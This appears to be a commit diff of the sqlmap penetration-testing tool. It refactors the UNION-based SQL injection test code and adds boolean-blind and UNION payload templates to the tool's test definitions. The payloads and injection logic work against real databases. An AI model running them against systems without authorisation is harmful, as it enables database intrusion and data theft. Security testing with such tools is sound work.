||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
not kb.resumedQueries[conf.url].has_key("Union position") )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position))
|
|
||||||
|
|
||||||
kb.unionPosition = position
|
kb.unionPosition = position
|
||||||
|
|
||||||
if negative:
|
if negative:
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
( not kb.resumedQueries[conf.url].has_key("Union negative")
|
|
||||||
) )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place])))
|
|
||||||
|
|
||||||
kb.unionNegative = True
|
kb.unionNegative = True
|
||||||
|
|
||||||
if char:
|
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
( not kb.resumedQueries[conf.url].has_key("Union char")
|
|
||||||
) )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char))
|
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
condition = (
|
|
||||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
|
||||||
( not kb.resumedQueries[conf.url].has_key("Union payload")
|
|
||||||
) )
|
|
||||||
)
|
|
||||||
|
|
||||||
if condition:
|
|
||||||
dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload))
|
|
||||||
|
|
||||||
kb.unionTest = payload
|
kb.unionTest = payload
|
||||||
|
|
||||||
def setRemoteTempPath():
|
def setRemoteTempPath():
|
||||||
|
|
|
@ -235,7 +235,7 @@ def cmdLineParser():
|
||||||
action="store_true", default=False,
|
action="store_true", default=False,
|
||||||
help="Test for and use UNION query (inband) SQL injection")
|
help="Test for and use UNION query (inband) SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-cols", dest="uCols", default="1-20",
|
techniques.add_option("--union-cols", dest="uCols",
|
||||||
help="Range of columns to test for UNION query SQL injection")
|
help="Range of columns to test for UNION query SQL injection")
|
||||||
|
|
||||||
techniques.add_option("--union-char", dest="uChar", default="NULL",
|
techniques.add_option("--union-char", dest="uChar", default="NULL",
|
||||||
|
|
|
@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
value = direct(expression)
|
value = direct(expression)
|
||||||
|
|
||||||
elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
|
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
|
||||||
query = cleanQuery(expression)
|
query = cleanQuery(expression)
|
||||||
query = expandAsteriskForColumns(query)
|
query = expandAsteriskForColumns(query)
|
||||||
value = None
|
value = None
|
||||||
|
@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
|
||||||
else:
|
else:
|
||||||
forgeCaseExpression = agent.forgeCaseStatement(expression)
|
forgeCaseExpression = agent.forgeCaseStatement(expression)
|
||||||
|
|
||||||
if inband and kb.unionTest is not None:
|
if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
||||||
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
||||||
|
|
||||||
if expected == EXPECTED.BOOL:
|
if expected == EXPECTED.BOOL:
|
||||||
|
|
|
@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
def __unionPosition(negative=False, count=None, comment=None):
|
def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1):
|
||||||
validPayload = None
|
validPayload = None
|
||||||
|
unionVector = None
|
||||||
|
|
||||||
if count is None:
|
if count is None:
|
||||||
count = kb.unionCount
|
count = kb.unionCount
|
||||||
|
@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None):
|
||||||
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
|
||||||
|
|
||||||
# Forge the inband SQL injection request
|
# Forge the inband SQL injection request
|
||||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
|
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
|
||||||
payload = agent.payload(newValue=query, negative=negative)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
resultPage, _ = Request.queryPage(payload, content=True)
|
resultPage, _ = Request.queryPage(payload, place=place, content=True)
|
||||||
|
|
||||||
if resultPage and randQuery in resultPage:
|
if resultPage and randQuery in resultPage:
|
||||||
setUnion(position=exprPosition)
|
setUnion(position=exprPosition)
|
||||||
validPayload = payload
|
validPayload = payload
|
||||||
|
unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix)
|
||||||
|
|
||||||
if not negative:
|
if where == 1:
|
||||||
# Prepare expression with delimiters
|
# Prepare expression with delimiters
|
||||||
randQuery2 = randomStr()
|
randQuery2 = randomStr()
|
||||||
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
|
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
|
||||||
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
|
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
|
||||||
|
|
||||||
# Confirm that it is a full inband SQL injection
|
# Confirm that it is a full inband SQL injection
|
||||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2)
|
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2)
|
||||||
payload = agent.payload(newValue=query, negative=negative)
|
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
resultPage, _ = Request.queryPage(payload, content=True)
|
resultPage, _ = Request.queryPage(payload, place=place, content=True)
|
||||||
|
|
||||||
if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
|
if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage):
|
||||||
setUnion(negative=True)
|
setUnion(negative=True)
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
return validPayload
|
return validPayload, unionVector
|
||||||
|
|
||||||
def __unionConfirm(count=None, comment=None):
|
def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
|
||||||
validPayload = None
|
validPayload = None
|
||||||
|
unionVector = None
|
||||||
|
|
||||||
# Confirm the inband SQL injection and get the exact column
|
# Confirm the inband SQL injection and get the exact column
|
||||||
# position which can be used to extract data
|
# position which can be used to extract data
|
||||||
|
@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None):
|
||||||
debugMsg = "testing full inband with %s columns" % count
|
debugMsg = "testing full inband with %s columns" % count
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
validPayload = __unionPosition(count=count, comment=comment)
|
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
|
||||||
|
|
||||||
# Assure that the above function found the exploitable full inband
|
# Assure that the above function found the exploitable full inband
|
||||||
# SQL injection position
|
# SQL injection position
|
||||||
if not isinstance(kb.unionPosition, int):
|
if not isinstance(kb.unionPosition, int):
|
||||||
debugMsg = "testing single-entry inband value with %s columns" % count
|
debugMsg = "testing single-entry inband with %s columns" % count
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
validPayload = __unionPosition(negative=True, count=count, comment=comment)
|
validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2)
|
||||||
|
|
||||||
# Assure that the above function found the exploitable partial
|
# Assure that the above function found the exploitable partial
|
||||||
# (single entry) inband SQL injection position with negative
|
# (single entry) inband SQL injection position with negative
|
||||||
# parameter validPayload
|
# parameter validPayload
|
||||||
if not isinstance(kb.unionPosition, int):
|
if not isinstance(kb.unionPosition, int):
|
||||||
return None
|
return None, None
|
||||||
else:
|
else:
|
||||||
setUnion(negative=True)
|
setUnion(negative=True)
|
||||||
|
|
||||||
return validPayload
|
return validPayload, unionVector
|
||||||
|
|
||||||
def __unionTestByCharBruteforce(comment):
|
def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
SQL injection vulnerability. The test is done up to 50 columns
|
SQL injection vulnerability. The test is done up to 50 columns
|
||||||
on the target database table
|
on the target database table
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
validPayload = None
|
||||||
|
unionVector = None
|
||||||
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
|
||||||
|
|
||||||
for num in range(conf.uColsStart, conf.uColsStop+1):
|
for count in range(conf.uColsStart, conf.uColsStop+1):
|
||||||
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
|
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
|
||||||
query = query[:-len(" FROM DUAL")]
|
query = query[:-len(" FROM DUAL")]
|
||||||
|
|
||||||
if num:
|
if count:
|
||||||
query += ", %s" % conf.uChar
|
query += ", %s" % conf.uChar
|
||||||
|
|
||||||
if kb.dbms == DBMS.ORACLE:
|
if kb.dbms == DBMS.ORACLE:
|
||||||
query += " FROM DUAL"
|
query += " FROM DUAL"
|
||||||
|
|
||||||
if conf.verbose in (1, 2):
|
if conf.verbose in (1, 2):
|
||||||
length = conf.uColsStop + 1 - conf.uColsStart
|
status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')
|
||||||
count = num - conf.uColsStart + 1
|
|
||||||
status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
|
|
||||||
dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
|
dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
|
||||||
|
|
||||||
validPayload = __unionConfirm(num, comment)
|
dataToStdout("\n")
|
||||||
|
|
||||||
|
validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
|
||||||
|
|
||||||
if validPayload:
|
if validPayload:
|
||||||
setUnion(count=num)
|
setUnion(count=count)
|
||||||
break
|
break
|
||||||
|
|
||||||
clearConsoleLine(True)
|
clearConsoleLine(True)
|
||||||
|
|
||||||
return validPayload
|
return validPayload, unionVector
|
||||||
|
|
||||||
def unionTest():
|
def unionTest(comment, place, parameter, value, prefix, suffix):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
SQL injection vulnerability. The test is done up to 3*50 times
|
SQL injection vulnerability. The test is done up to 3*50 times
|
||||||
|
@ -145,9 +150,6 @@ def unionTest():
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return
|
return
|
||||||
|
|
||||||
if kb.unionTest is not None:
|
|
||||||
return kb.unionTest
|
|
||||||
|
|
||||||
oldTechnique = kb.technique
|
oldTechnique = kb.technique
|
||||||
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
||||||
|
|
||||||
|
@ -156,12 +158,7 @@ def unionTest():
|
||||||
else:
|
else:
|
||||||
technique = "char (%s) bruteforcing" % conf.uChar
|
technique = "char (%s) bruteforcing" % conf.uChar
|
||||||
|
|
||||||
infoMsg = "testing inband sql injection on parameter "
|
validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
||||||
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
comment = queries[kb.dbms].comment.query
|
|
||||||
validPayload = __unionTestByCharBruteforce(comment)
|
|
||||||
|
|
||||||
if validPayload:
|
if validPayload:
|
||||||
validPayload = agent.removePayloadDelimiters(validPayload, False)
|
validPayload = agent.removePayloadDelimiters(validPayload, False)
|
||||||
|
@ -169,16 +166,4 @@ def unionTest():
|
||||||
setUnion(comment=comment)
|
setUnion(comment=comment)
|
||||||
setUnion(payload=validPayload)
|
setUnion(payload=validPayload)
|
||||||
|
|
||||||
if kb.unionTest is not None:
|
return validPayload, unionVector
|
||||||
infoMsg = "the target url is affected by an exploitable "
|
|
||||||
infoMsg += "inband sql injection vulnerability "
|
|
||||||
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
else:
|
|
||||||
infoMsg = "the target url is not affected by an exploitable "
|
|
||||||
infoMsg += "inband sql injection vulnerability "
|
|
||||||
infoMsg += "on parameter '%s'" % kb.injection.parameter
|
|
||||||
logger.info(infoMsg)
|
|
||||||
kb.technique = oldTechnique
|
|
||||||
|
|
||||||
return kb.unionTest
|
|
||||||
|
|
|
@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
|
from lib.core.common import initTechnique
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||||
inband SQL injection on the affected url
|
inband SQL injection on the affected url
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
initTechnique(PAYLOAD.TECHNIQUE.UNION)
|
||||||
|
|
||||||
count = None
|
count = None
|
||||||
origExpr = expression
|
origExpr = expression
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
|
@ -553,6 +553,22 @@ Formats:
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3</clause>
|
<clause>1,2,3</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Generic boolean-based blind - Parameter replace (original value)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>3</where>
|
||||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
||||||
|
@ -650,6 +666,22 @@ Formats:
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
|
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
||||||
|
@ -1824,4 +1856,47 @@ Formats:
|
||||||
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
|
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
|
||||||
<!-- End of OR time-based blind tests -->
|
<!-- End of OR time-based blind tests -->
|
||||||
|
|
||||||
|
<!-- UNION query tests -->
|
||||||
|
<test>
|
||||||
|
<title>MySQL NULL UNION query - 4 to 7 columns</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,4,5</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>[UNION]</vector>
|
||||||
|
<request>
|
||||||
|
<payload/>
|
||||||
|
<comment>#</comment>
|
||||||
|
<char>NULL</char>
|
||||||
|
<columns>4-7</columns>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<union/>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Generic NULL UNION query - 1 to 3 columns</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,4,5</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>[UNION]</vector>
|
||||||
|
<request>
|
||||||
|
<payload/>
|
||||||
|
<comment>--</comment>
|
||||||
|
<char>NULL</char>
|
||||||
|
<columns>1-3</columns>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<union/>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
<!-- End of UNION query tests -->
|
||||||
|
|
||||||
</root>
|
</root>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user